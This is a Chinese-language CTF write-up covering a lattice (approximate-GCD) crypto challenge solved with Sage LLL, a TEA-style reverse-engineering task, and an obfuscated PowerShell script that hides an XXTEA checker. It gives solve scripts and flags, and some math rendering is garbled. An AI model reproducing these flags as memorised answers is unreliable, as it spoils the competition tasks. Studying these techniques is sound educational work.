B=(2ρ+1x1x2x30−x00000−x00000−x0)(ρ=256) B = \begin{pmatrix} 2^{\rho + 1} & x_1 & x_2 & x_3 \\ 0 & -x_0 & 0 & 0 \\ 0 & 0 & -x_0 & 0 \\ 0 & 0 & 0 & -x_0 \end{pmatrix} \quad (\rho = 256) B= 2ρ+1000x1−x000x20−x00x300−x0 (ρ=256)
取向量(q0,q1,q2,q3),左乘矩阵得到
(q0,q1,q2,q3)B=(q02ρ+1,q0x1−q1x0,q0x2−q2x0,q0x3−q3x0) (q0,q1,q2,q3)B=(q02ρ+1, q0x1−q1x0, q0x2−q2x0, q0x3−q3x0) (q0,q1,q2,q3)B=(q02ρ+1,q0x1−q1x0,q0x2−q2x0,q0x3−q3x0)
再将x代入
(q02ρ+1,q0e1−q1e0,q0e2−q2e0,q0e3−q3e0) (q_02^{ρ+1}, q0e1−q1e0, q0e2−q2e0, q0e3−q3e0) (q02ρ+1,q0e1−q1e0,q0e2−q2e0,q0e3−q3e0)
因为误差只有256bit,这个向量会比一般向量短的多,LLL后,这个关系很有可能出现在约化基中
得到q0~q3后
因为
xi=pqi+ei xi=pqi+ei xi=pqi+ei
对 x / q以及附近的几个值做检查,选出让误差e都落在范围内的候选,即为p
p≈xiqi p≈\frac{x_i}{q_i} p≈qixi
最后再计算哈希即可
python
from hashlib import sha256
from sage.all import *
rho = 256
eta = 768
xs = [
7286602644894347905698877185006886062766603336098651145708618257426896498601438194818405176376998357154846239925108795918211744886731571266744871908463835351995189784312085830285088365342080806811314047882453402592133074499069282870744236160215512216478789267594028132748508140080189837224089073913522991827904722259140858601642592466315776021315586438508197663608590812749450817365064347439560883042009204050351693713820588889060849655679914847278675752145553961823946981967169055185529737402521407509263021789077125016742255715760,
5230952259217719373451288600605694729007492237169927997823214951918450708970497355235418799314073627589124050832789070592194142892137496197782948844507440729494129127326826986001351848921996887252514377638280576136864865587600778883326741625167048874313825133026683820914940523608112111525189712638841735445342804486682657815023936771511350194415118747576763915047759919721983363867337811246200882629774305946208917774071048260034384488337583881876926649372038650806406479863141932268756290007122767070707541568217633666823942767630,
6634396750920568285608095346195329118689097605994669634518316951192506731923068736273476052320642960726963932454848348066913054010051606781532862880707753022193473836326795829631429615685808176184842533562632931011621810840291571855376807721443083529317792844472049240727433533493468591987710033174905312247446273166915934371589745530975428330655972863314230695429710915699801228301493075605786710443768747383021956670013493099376120239576125225920151034511467122583704756994064073049424978126007943448882667862038745782477628408003,
5206967518961960112660221968771713864784691153181370679825018817838185859421615186098940654940704354246503769468859488659689494119991783464734247926184421441233523723102514720513272413216800777125028472595562428391474002300021110853098159434700293331046532929525141162455736314162160456306022511785772125837018470201639642987557826155895644564724745314165471429499074795110110906392223770428469036209454246746770408469494816865235942622698472278595153047673886819995225231883995391098290313071949911543891398398297286813045525879691,
]
def flag_of_p(p):
return "DASCTF{" + sha256(hex(int(p)).encode()).hexdigest()[:32] + "}"
def recover_candidates(xs):
x0 = xs[0]
# 行格基
B = Matrix(ZZ, [
[2^(rho+1), xs[1], xs[2], xs[3]],
[0, -x0, 0, 0],
[0, 0, -x0, 0],
[0, 0, 0, -x0],
])
print("[+] original basis:")
print(B)
L = B.LLL()
print("[+] LLL basis:")
print(L)
cands = []
for row in L.rows():
row = [ZZ(v) for v in row]
# 理论上 row[0] = ± q0 * 2^(rho+1)
if row[0] == 0:
continue
if abs(row[0]) % (2^(rho+1)) != 0:
continue
q0 = abs(row[0]) // (2^(rho+1))
if q0 <= 0:
continue
# row[j] = ±(q0*xj - qj*x0)
for sgn in [1, -1]:
r = [sgn * v for v in row]
if (q0 * xs[1] - r[1]) % x0 != 0:
continue
if (q0 * xs[2] - r[2]) % x0 != 0:
continue
if (q0 * xs[3] - r[3]) % x0 != 0:
continue
q1 = (q0 * xs[1] - r[1]) // x0
q2 = (q0 * xs[2] - r[2]) // x0
q3 = (q0 * xs[3] - r[3]) // x0
if min(q0, q1, q2, q3) <= 0:
continue
qs = [ZZ(q0), ZZ(q1), ZZ(q2), ZZ(q3)]
# 用每个 x_i / q_i 附近估计 p
ps = set()
for x, q in zip(xs, qs):
base = x // q
for t in range(-2, 3):
pp = ZZ(base + t)
if pp > 0:
ps.add(pp)
for p in ps:
es = [x - p*q for x, q in zip(xs, qs)]
if p.nbits() != eta:
continue
if any(abs(e) >= 2^rho for e in es):
continue
cands.append((p, qs, es))
uniq = []
seen = set()
for p, qs, es in cands:
key = int(p)
if key not in seen:
seen.add(key)
uniq.append((p, qs, es))
return uniq
cands = recover_candidates(xs)
if not cands:
print("[-] no valid candidate found")
else:
print(f"[+] found {len(cands)} candidate(s)")
for i, (p, qs, es) in enumerate(cands):
print("=" * 80)
print(f"[+] candidate #{i}")
print(f"p = {p}")
print(f"p bits = {p.nbits()}")
print(f"is_prime(p) = {is_prime(p)}")
print(f"qs bits = {[q.nbits() for q in qs]}")
print(f"is_prime(qs) = {[is_prime(q) for q in qs]}")
print(f"es = {es}")
print(f"e bits = {[abs(e).nbits() if e != 0 else 0 for e in es]}")
print(f"flag = {flag_of_p(p)}")

flag:eead8ea2b3519a2273a5292375e31009
RE
眼见为虚_1
打开先查找字符串信息,发现wrong flag right flag字符串,判断可能为判断逻辑直接定位到附近


发现sub_401522可能为函数判断逻辑点进去

校验逻辑:
sub_402B68是一个最终验证函数,把前面已经处理过的输入,和程序内置的 40 字节目标数组逐字节比较,判断是否正确。那么它前面的 sub_4014F0(v4)很明显就是对输入做处理的函数


这些是按小端序存放的,因此展开后的 40 字节目标数组为:
33 56 e8 01 6f 84 e4 a3 43 73 8e 26 5e f0 fd a1
15 75 88 20 08 a4 a6 a5 15 75 88 23 5d f0 fa f0
41 71 de 75 09 a1 f9 e8
程序最后比较的是经过处理后的输入与这 40 字节是否完全一致

进去后发现4014f0不是直接处理数据,而是通过对象/虚表调用两个函数,大概率应该生成key应该处理用户输入。去 sub_402BFC 找虚表,最后在虚表里点到 402A18 和 402AFC。

这是一段 TEA 风格 的变换代码:

输入缓冲区地址在 *(DWORD *)(a1 + 4)。a1 + 8 开始存放 8 字节 key。对前 40 字节逐字节处理

a1[2] = 0x18274A3A
a1[3] = 0x24F8D42F
a1[4] = 0x9C8793BF
a1[5] = 0xBB5C1044
a1[6] = 0x2FEA4F74
a1[7] = 0xA142ED8B
经过 32 轮后,得到:5C FC A0 27 20 A7 84 7A
还原脚本:
import struct
target = bytes.fromhex(
"3356e8016f84e4a343738e265ef0fda1"
"1575882008a4a6a5157588235df0faf0"
"4171de7509a1f9e8"
)
sub_402A18 最终输出
k1 = 0x27A0FC5C
k2 = 0x7A84A720
小端拼成 8 字节 key
key = struct.pack("<II", k1, k2)
flag = bytes([
target[i] ^ ((key[i % 8] + 0x1B) & 0xFF)
for i in range(40)
])
print(flag)
print(flag.decode())
print(len(flag))
运行结果
b'DASCTF{64d5de2b4bb3b3f90bb3af2ee6fe72cf}'
flag:DASCTF{64d5de2b4bb3b3f90bb3af2ee6fe72cf}
eazy_code-new

直接拖进 IDA 观察,可以发现这不是常规的 PE/ELF 可执行文件,而是一个纯文本脚本文件,而且内容是大量类似下面这种奇怪变量名的拼接形式

这种特征非常像 PowerShell 混淆脚本 ,本质是用变量名代替数字,再拼出 [char]99+[char]108+... 这种字符流,最后动态执行。观察脚本前半部分,可以发现作者先构造了一批"数字变量",再构造 KaTeX parse error: Expected '}', got 'EOF' at end of input: {%} 这个变量。
结合整体格式可以判断:
${]} -> 0
${!;*} -> 1
${*@ } -> 2
KaTeX parse error: Expected '}', got 'EOF' at end of input: {=``} -> 3
${ ]} -> 4
${!} -> 5
${#.} -> 6
${(} -> 7
${)``} -> 8
${``*%} -> 9
而 KaTeX parse error: Expected '}', got 'EOF' at end of input: {%} 被构造成了:[char]
于是原始大串内容实际上等价于:
char\]99+\[char\]108+\[char\]97+\[char\]115+\[char\]115+... import re with open("eazy_code", "r", encoding="utf-8", errors="ignore") as f: raw = f.read() m = re.search(r'${@\*}\\s\*=\\s\*"(.*)"\\s*\|\\s\*.${-\`\`}', raw, re.S) payload = m.group(1) mp = { '${\]}': '0', '${!;\*}': '1', '${\*@ }': '2', 'KaTeX parse error: Expected '}', got 'EOF' at end of input: {=\`\`}': '3', '${ \]}': '4', '${!}': '5', '${#.}': '6', '${(}': '7', '${)\`\`}': '8', '${\`\`\*%}': '9', 'KaTeX parse error: Expected '}', got 'EOF' at end of input: {%}': '\[char\]' } for k in sorted(mp, key=len, reverse=True): payload = payload.replace(k, mp\[k\]) nums = re.findall(r'\[char\](\[0-9\]+)', payload) decoded = ''.join(chr(int(x)) for x in nums) with open("stage2.txt", "w", encoding="utf-8") as f: f.write(decoded) print(decoded\[:1000\]) 运行后可以得到真正的第二层代码,开头如下: class chiper(): def **init**(self): self.d = 0x87654321 k0 = 0x67452301 k1 = 0xefcdab89 k2 = 0x98badcfe k3 = 0x10325476 self.k = \[k0, k1, k2, k3
这说明表面是 PowerShell,实际隐藏的核心逻辑是一段 Python 校验器
class chiper():
def init(self):
self.d = 0x87654321
k0 = 0x67452301
k1 = 0xefcdab89
k2 = 0x98badcfe
k3 = 0x10325476
self.k = [k0, k1, k2, k3]
def e(self, n, v):
from ctypes import c_uint32
def MX(z, y, total, key, p, e):
temp1 = (z.value >> 6 ^ y.value << 4) + \
(y.value >> 2 ^ z.value << 5)
temp2 = (total.value ^ y.value) + \
(key[(p & 3) ^ e.value] ^ z.value)
return c_uint32(temp1 ^ temp2)
key = self.k
delta = self.d
rounds = 6 + 52//n
...
后面 check() 函数中有目标数组
ans = [1374278842, 2136006540, 4191056815, 3248881376]
并且有长度限制:
if length % 8:
print("Incorrect format.")
exit(1)
说明输入长度必须是 8 的倍数。
bytes2ints() 会把输入按 每 8 字节分组,再拆成两个 little-endian 的 uint32。
而 ans 一共 4 个 uint32,因此原始输入长度应为:
4 个 uint32 = 16 字节
即 flag 内部实际输入应为 16 个字符,程序采用自定义 XXTEA/Block TEA 变种对输入进行加密,再与固定数组 ans 比较,满足则输出既然 ans 是加密后的 4 个 uint32,那么只要把这个过程逆过来,就能得到原始 16 字节输入:
from ctypes import c_uint32
import struct
def MX(z, y, total, key, p, e):
temp1 = (z.value >> 6 ^ y.value << 4) + (y.value >> 2 ^ z.value << 5)
temp2 = (total.value ^ y.value) + (key[(p & 3) ^ e.value] ^ z.value)
return c_uint32(temp1 ^ temp2)
def decrypt(v, key, delta):
n = len(v)
rounds = 6 + 52 // n
total = c_uint32((rounds * delta) & 0xffffffff)
v = [c_uint32(x).value for x in v]
while rounds > 0:
e = c_uint32((total.value >> 2) & 3)
# 先逆最后一个元素
z = c_uint32(v[n - 2])
y = c_uint32(v[0])
v[n - 1] = c_uint32(v[n - 1] - MX(z, y, total, key, n - 1, e).value).value
# 再逆前面的元素
for p in range(n - 2, -1, -1):
z = c_uint32(v[p - 1] if p > 0 else v[n - 1])
y = c_uint32(v[p + 1])
v[p] = c_uint32(v[p] - MX(z, y, total, key, p, e).value).value
total.value = c_uint32(total.value - delta).value
rounds -= 1
return v
key = [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476]
ans = [1374278842, 2136006540, 4191056815, 3248881376]
plain = decrypt(ans, key, 0x87654321)
flag_inner = struct.pack('<4I', *plain).decode()
print(flag_inner)
运行结果:
flag:yOUar3g0oD@tPw5H